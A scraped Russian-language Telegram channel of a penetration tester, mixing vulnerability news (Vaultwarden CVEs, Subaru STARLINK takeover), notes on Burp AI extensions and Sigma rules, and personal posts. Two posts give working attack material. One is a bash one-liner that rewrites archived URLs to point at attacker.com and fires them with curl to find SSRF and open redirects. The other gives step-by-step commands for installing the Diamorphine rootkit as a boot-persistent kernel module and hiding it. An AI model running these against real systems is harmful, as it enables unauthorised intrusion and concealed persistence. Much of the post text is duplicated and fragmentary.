29.04.202510:08
Vaultwarden - Improper access control (CVE‑2025‑24364) и RCE (CVE‑2025‑24365)
Буквально вчера, крутой ресерчер Елизар Батин из
CVE‑2025‑24364 (оценка по CVSS=7.2)
Ролевая модель решения предусматривает доступ к секретам в рамках понятия
CVE‑2025‑24365 (оценка по CVSS=8.1)
RCE на сервере
Дальше мне очень понравилось, сначала меняем путь
Далее подставляем абсолютный путь до нашего пейлоада в поле
Таким образом, получается интересный вектор для
Буквально вчера, крутой ресерчер Елизар Батин из
BI.ZONE
опубликовал технические детали 2-ух уязвимостей найденных в рамках исследования Vaultwarden. Это очень популярная реализация сервера Bitwarden
с открытым исходным кодом, совместимая с официальными клиентами этого парольного менеджера, которая согласно статистики компании BI.ZONE
используется в 10% всех компаний в нашей стране.CVE‑2025‑24364 (оценка по CVSS=7.2)
Ролевая модель решения предусматривает доступ к секретам в рамках понятия
Organization
, т.е пользователи состоящие в определенной Организации имеют доступ только к соответствующим ей секретам. Суть уязвимости заключается в повышении привилегий пользователя до админа Организации с доступом ко всем секретам по причине некорректной логики функции Request Guard, используемой для проверки принадлежности конкретного пользователя к UUID
конкретной Organization
. Детали эксплуатации подробно описаны в блоге😎CVE‑2025‑24365 (оценка по CVSS=8.1)
RCE на сервере
Vaultwarden
через доступ к веб-интерфейсу панели администратора. Эксплуатация заключается в возможности использовать команду для отправки SMTP-сообщений с помощью Sendmail
, чтобы запустить пейлоад через bin/sh
. Дальше мне очень понравилось, сначала меняем путь
до icon_cache_folder
на подконтрольный атакующему сервер с пейлоадом в метаданных PNG. Vaultwarden
сходит за новой иконкой и сохранит ее в /@icon/attacker-site.com.png
Далее подставляем абсолютный путь до нашего пейлоада в поле
From Address
и отправляем сообщение, которое выполнит нашу полезную нагрузку.Таким образом, получается интересный вектор для
Vaultwarden
. Относительно рекомендаций, в первую очередь необходимо обновиться до версии 1.33.0 и далее отключить неиспользуемую функциональность приложения, как рекомендует автор уязвимостей.03.03.202514:02
The future of security testing: harness AI-Powered Extensibility in Burp
В прошлом месяце
Взаимодействие с AI моделью реализовано через этот интерфейс, что позволяет разработчикам сосредоточиться на функциональности расширений, а не думать как подружить свое решение с API провайдера LLM, но ограничивает в выборе конкретной модели и придется платить
На данный момент в
☑️ AI HTTP Analyzer (для Pro версии)
☑️ Hackvertor c AI функциональностью (для Community версии)
И есть еще Bounty Prompt, который позволяет подключить в качестве модели любую из поддерживаемых
Для того чтобы поиграться самостоятельно нужен релиз версии
Как вы думаете, таким образом, скайнет💀 подбирается все ближе или такая автоматизация рутины освободит нам время для более творческих задач? Оставляйте свое мнение в комментариях🙏
В прошлом месяце
Portswigger
анонсировали поддержку AI-powered расширений для Burp Suite
. По капотом как и положено используется Montoya API, который выпустили в 2022 году на смену устаревшему Burp Extender API
(2005 год). Взаимодействие с AI моделью реализовано через этот интерфейс, что позволяет разработчикам сосредоточиться на функциональности расширений, а не думать как подружить свое решение с API провайдера LLM, но ограничивает в выборе конкретной модели и придется платить
Portswigger
чтобы покупать токены. По дефолту каждому пользователю Pro версии доступно 10,000 free AI credits. Ну и существуют некоторые опасения относительно конфиденциальности данных, которые отправляются модели, которые авторы попробовали развеять в этой статье.На данный момент в
BApp Store
доступны всего несколько AI-powered расширений:☑️ AI HTTP Analyzer (для Pro версии)
☑️ Hackvertor c AI функциональностью (для Community версии)
И есть еще Bounty Prompt, который позволяет подключить в качестве модели любую из поддерживаемых
Groq Cloud
с помощью универсального API.Для того чтобы поиграться самостоятельно нужен релиз версии
Early Adopter 2025.2
, который можно переключить в Settings ➡️ Suite ➡️ Updates ➡️ Channel: Early Adopter
, но уже в этом месяце поддержка AI-powered расширений появиться в версии Stable
.Как вы думаете, таким образом, скайнет💀 подбирается все ближе или такая автоматизация рутины освободит нам время для более творческих задач? Оставляйте свое мнение в комментариях🙏
02.04.202509:09
Недавно мне попался интересный проект AttackRuleMap, который представляет собой маппинг тест-кейсов инструмента Atomic Red Team и соответствующих правил обнаружения в формате Sigma. Данный ресурс может быть очень полезен, чтобы обеспечить покрытие алертами большей части техник
Но далеко не все
Реализовать данную задачу можно с помощью pySigma и Sigma CLI, которые пришли на смену
При этом существуют некоторые недостатки связанные с конвертацией правил, которые описаны в этой статье.
Но тем не менее, мне кажется, это хорошая отправная точка для старта, когда в первую очередь необходимо обеспечить максимально возможное покрытие стандартных техник и процедур злоумышленников в короткие сроки😎
MITRE
, особенно на ранних этапах уровня зрелости команды Detection Engineering
.Но далеко не все
SIEM
из коробки поддерживают этот универсальный формат для правил обнаружения, поэтому если у вас в компании изпользуется, например Elastic SIEM
, то потребуется конвертировать правила в KQL (Kibana Query Language) и EQL (Event Query Language)
. Реализовать данную задачу можно с помощью pySigma и Sigma CLI, которые пришли на смену
Sigmac
. Раньше был еще онлайн-конвертер uncoder.io (на данный момент ресурс по какой-то причине лежит🤷♂️), который позволял просто в веб-интерфейсе конвертировать Sigma
правила для выбранного SIEM
(включая Elastic KQL, Elastic EQL
). При этом существуют некоторые недостатки связанные с конвертацией правил, которые описаны в этой статье.
Но тем не менее, мне кажется, это хорошая отправная точка для старта, когда в первую очередь необходимо обеспечить максимально возможное покрытие стандартных техник и процедур злоумышленников в короткие сроки😎
10.02.202507:28
Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel
Пару недель назад легендарный исследователь
Суть эксплуатации заключалась в реализации
Таким образом можно было угнать/отслеживать любой автомобиль Subaru на территории США, Канады и Японии, уязвимости были устранены в течение 1 дня после репорта исследователя👍
По факту практически любой современный автомобиль представляет собой компьютер на колесах с кучей интеграций с различными сервисами производителя и если раньше для поиска критичных узявимостей был необходим физический доступ к самой машине, осциллограф, навыки автоэлектрики и механники, то сейчас вполне достаточно просто доступа к интернету, Burp'a и желания сделать свой автомобиль более безопасным🔥
Пару недель назад легендарный исследователь
Sam Curry
опубликовал детали своего очередного ресерча, на этот раз под раздачу попали автомобили Subaru😎 Найденные баги позволяют открывать и заводить любой автомобиль удаленно, получать доступ к истории перемещений за последний год, получать доступ к личным данным (PII) владельцев и прочее.Суть эксплуатации заключалась в реализации
Account Takeover
для служебного портала STARLINK
, который является интерфейсом управления Subaru’s in-vehicle infotainment system
, позволяющим сотрудникам компании удаленно управлять автомобилем (открывать/закрывать, включать/выключать зажигание)...через интернет🙈 С помощью перебора файлов в директории /assets/_js/
веб-сервера, был найден login.js
, раскрывающий "особенности" функциональности сброса пароля, для которой достаточно отправить значение логина (email сотрудника) и новый пароль. Валидные почтовые аккаунты можно было энумерейтить через ручку /adminProfile/getSecurityQuestion.json?email=example@example.com
которая возвращала секретные вопросы если аккаунт существует. Дальше был фееричный байпасс якобы 2FA, реализованного client-side через диалоговое окно HTMLDialogElement
методом showModal()
🤯 Таким образом можно было угнать/отслеживать любой автомобиль Subaru на территории США, Канады и Японии, уязвимости были устранены в течение 1 дня после репорта исследователя👍
По факту практически любой современный автомобиль представляет собой компьютер на колесах с кучей интеграций с различными сервисами производителя и если раньше для поиска критичных узявимостей был необходим физический доступ к самой машине, осциллограф, навыки автоэлектрики и механники, то сейчас вполне достаточно просто доступа к интернету, Burp'a и желания сделать свой автомобиль более безопасным🔥


31.03.202515:47
Всем привет!
Если этот пост опубликуется, значит канал разблокировали🎉
Хотел сказать огромное спасибо всем кто помог с решением вопроса и просто приходил в личку со словами поддержки🙏
Если этот пост опубликуется, значит канал разблокировали🎉
Хотел сказать огромное спасибо всем кто помог с решением вопроса и просто приходил в личку со словами поддержки🙏
17.01.202507:00
Нужно ли классическое образование в ИБ?
Именно такой заголовок статьи натолкнул меня на филосовские мысли для этого пятничного поста🤓
Я часто слышу мнения относительно того, что академический поход имеет ряд серьезных недостатков, якобы в университетах учат только теории, многие технические гении современности вообще не имеют образования, а Диффи-Хеллман это просто какой-то мужик с двойной фамилией😂 и прочие агрументы.
Так нужно ли классическое образование в ИБ?
Краткий ответ: нет, но нужно гораздо большее
Абсолютно согласен с этим тезисом и поддерживаю мнение автора. Все знать невозможно по определению, но именно навыки полученные в ВУЗе позволяют быстро впитывать огромные объемы информации за короткие сроки, выделять самое главное и фильтровать воду. Этот скилл очень важен для пентестеров, так как в своей работе мы ежедневно имеем дело с огромным количеством различных технологий и необходимо в кратчайшие сроки разобраться в каждой из них и найти уязвимости и недостатки влияющие на безопасноть. Например, есть условный админ, который много лет работает с определенным ПО, который знает все тонкости и нюансы этой конкретной технологии, а против него пентестер, которому за короткий срок проекта надо найти баги и недостатки конфигурации, которые мог допустить этот админ😎
К тому же студенческое время это очень веселый период жизни, который через много лет можно будет вспоминать с теплотой и улыбкой. Университетские друзья это обычно друзья на всю жизнь, с которыми вместе преодолевали все трудности, радовались успехам и отмечая очередное окончания сессии после вечеринки могли проснуться на другом конце света, в тропиках...в пуховике😂 В прошлом году я начал немного преподавать в МИФИ и часто говорю студентам, что важно удерживать баланс между учебой и жизнью, не зацикливаться на чем то одном и получать удовольствие от всего что делаете😎 Поэтому не забывайте развлекаться и отдыхать в том числе!
А что вы думаете на эту тему? Предлагаю немного подискутировать в комментариях🙏
Именно такой заголовок статьи натолкнул меня на филосовские мысли для этого пятничного поста🤓
Я часто слышу мнения относительно того, что академический поход имеет ряд серьезных недостатков, якобы в университетах учат только теории, многие технические гении современности вообще не имеют образования, а Диффи-Хеллман это просто какой-то мужик с двойной фамилией😂 и прочие агрументы.
Так нужно ли классическое образование в ИБ?
Краткий ответ: нет, но нужно гораздо большее
Абсолютно согласен с этим тезисом и поддерживаю мнение автора. Все знать невозможно по определению, но именно навыки полученные в ВУЗе позволяют быстро впитывать огромные объемы информации за короткие сроки, выделять самое главное и фильтровать воду. Этот скилл очень важен для пентестеров, так как в своей работе мы ежедневно имеем дело с огромным количеством различных технологий и необходимо в кратчайшие сроки разобраться в каждой из них и найти уязвимости и недостатки влияющие на безопасноть. Например, есть условный админ, который много лет работает с определенным ПО, который знает все тонкости и нюансы этой конкретной технологии, а против него пентестер, которому за короткий срок проекта надо найти баги и недостатки конфигурации, которые мог допустить этот админ😎
К тому же студенческое время это очень веселый период жизни, который через много лет можно будет вспоминать с теплотой и улыбкой. Университетские друзья это обычно друзья на всю жизнь, с которыми вместе преодолевали все трудности, радовались успехам и отмечая очередное окончания сессии после вечеринки могли проснуться на другом конце света, в тропиках...в пуховике😂 В прошлом году я начал немного преподавать в МИФИ и часто говорю студентам, что важно удерживать баланс между учебой и жизнью, не зацикливаться на чем то одном и получать удовольствие от всего что делаете😎 Поэтому не забывайте развлекаться и отдыхать в том числе!
А что вы думаете на эту тему? Предлагаю немного подискутировать в комментариях🙏
20.03.202509:43
Всем привет!
Небольшая заметка про поиск SSRF и Open Redirect😁 в составе пайплайнов автоматизации
🔴Этот bash скрипт использует утилиту waybackurls, чтобы получить список всех известных url для заданного домена
🔴 Фильтрует полученные url c помощью регулярки, оставляя только потенциально уязвимые, которые содержат:
🔴 Для каждого url из списка генерирует случайную строку длиной 6 символов с помощью
🔴 Модифицирует каждый url, заменяя:
🔴 Выводит в консоль модифицированный url перед отправкой запроса либо сохраняет в файл
🔴 Отправляет запросы с помощью
В качестве сервера атакующего, чтобы ловить отстуки можно использовать что угодно, начиная от Burp Collaborator до interactsh на своем домене.
Небольшая заметка про поиск SSRF и Open Redirect😁 в составе пайплайнов автоматизации
waybackurls target.com | grep -E "/https?://|=https?://|=/.*" | while read url; do random=(opensslrand−base646∣tr−d ′ /+ ′ );murl=(echo $url | sed -E "s/(/|=)(https?://[^/&?]+)/\1http://attacker.com/$random/g;s/=/[^&]+/=http://attacker.com/$random/g") && echo "Requesting: $murl" && curl -so /dev/null --connect-timeout 5 "$murl"; done
🔴Этот bash скрипт использует утилиту waybackurls, чтобы получить список всех известных url для заданного домена
target.com
из архива Wayback Machine
.🔴 Фильтрует полученные url c помощью регулярки, оставляя только потенциально уязвимые, которые содержат:
/https://example.com, ?url=http://example.com и ?url=/example
🔴 Для каждого url из списка генерирует случайную строку длиной 6 символов с помощью
openssl rand
, заворачивает в base64
и удаляет символы / и +
на выходе получается что-то такое -a1b2c3
🔴 Модифицирует каждый url, заменяя:
http://example.com
на /http://attacker.com/random
.http://example.com
на =http://attacker.com/random
./example
на =http://attacker.com/random
🔴 Выводит в консоль модифицированный url перед отправкой запроса либо сохраняет в файл
echo "$(date '+%Y-%m-%d %H:%M:%S') Requesting: $murl" | tee -a log.txt
🔴 Отправляет запросы с помощью
curl
c ограничением время ответа 5 сек, чтобы логировать статус коды ответов можно добавить:http_code=$(curl -so /dev/null --connect-timeout 5 -w "%{http_code}" "$murl")
echo "$(date '+%Y-%m-%d %H:%M:%S') Response [$http_code] from: $murl" >> responses.txt
В качестве сервера атакующего, чтобы ловить отстуки можно использовать что угодно, начиная от Burp Collaborator до interactsh на своем домене.
27.11.202411:03
Linux Persistence with LKM
Существуют десятки актуальных способов закрепления в Linux, а также инструментов автоматизации этой задачи, например один из последних - PANIX, это bash скрипт, который мы используем на киберучениях в рамках
Но в формате активного противодействия, редко есть возможности тащить на тачку разные скрипты, поэтому мы рассмотрим ручной способ на примере
🔴 Необходимо каким-то образом доставить
🔴 Во время компиляции
🔴 Копируем руткит и создаем список зависимостей
🔴 Создаем файл конфигурации
🔴 Загружаем модуль вручную
Таким образом, при каждой перезагрузке системы руткит в качестве модуля
Но все равно это будет светиться в
Существуют десятки актуальных способов закрепления в Linux, а также инструментов автоматизации этой задачи, например один из последних - PANIX, это bash скрипт, который мы используем на киберучениях в рамках
Purple Team
.Но в формате активного противодействия, редко есть возможности тащить на тачку разные скрипты, поэтому мы рассмотрим ручной способ на примере
LKM (Loadable kernel module)
руткита Diamorphine.Diamorphine
хорошо известный руткит с открытым исходным кодом, который активно используется злоумышленниками в дикой природе уже много лет, который можно загрузить различными способами. Наиболее распространенный - это просто положить в /etc/modules
или использовать службу systemd-modules-load
. Файлы конфигурации модулей systemd-modules-load
ищет в следующих директориях: /etc/modules-load.d, /usr/lib/modules-load.d, /usr/local/lib/modules-load.d, /run/modules-load.d
🔴 Необходимо каким-то образом доставить
Diamorphine
или собрать из исходников на тачке, например в контейнере или еще как-нибудь, обычно зависит от уровня зрелости мониторинга и степени паранойи SOC на текущем проекте😁🔴 Во время компиляции
Diamorphine
позволяет указать "magic string" - строку в начале наименования файла или директории, которую руткит автоматически скроет при загрузке, например apt1337🔴 Копируем руткит и создаем список зависимостей
modules.dep
cp diamorphine.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/apt1337-diamorphine.ko
depmod
🔴 Создаем файл конфигурации
systemd-modules-load
echo apt1337-diamorphine >/usr/lib/modules-load.d/apt1337-not_evil.conf
🔴 Загружаем модуль вручную
modprobe apt1337-diamorphine
Таким образом, при каждой перезагрузке системы руткит в качестве модуля
LKM
будет загружаться автоматически😎 Безусловно техника базовая и довольно распространенная, поэтому нуждается в доработке относительно сокрытия. Как минимум рекомендую использовать Timestomping для файлов в /usr/lib/modules/*
и использовать менее очевидный нейминг.Но все равно это будет светиться в
/proc/sys/kernel/tainted
так как загруженный модуль не подписан, но это уже тема другой заметки😁दिखाया गया 1 - 8 का 8
अधिक कार्यक्षमता अनलॉक करने के लिए लॉगिन करें।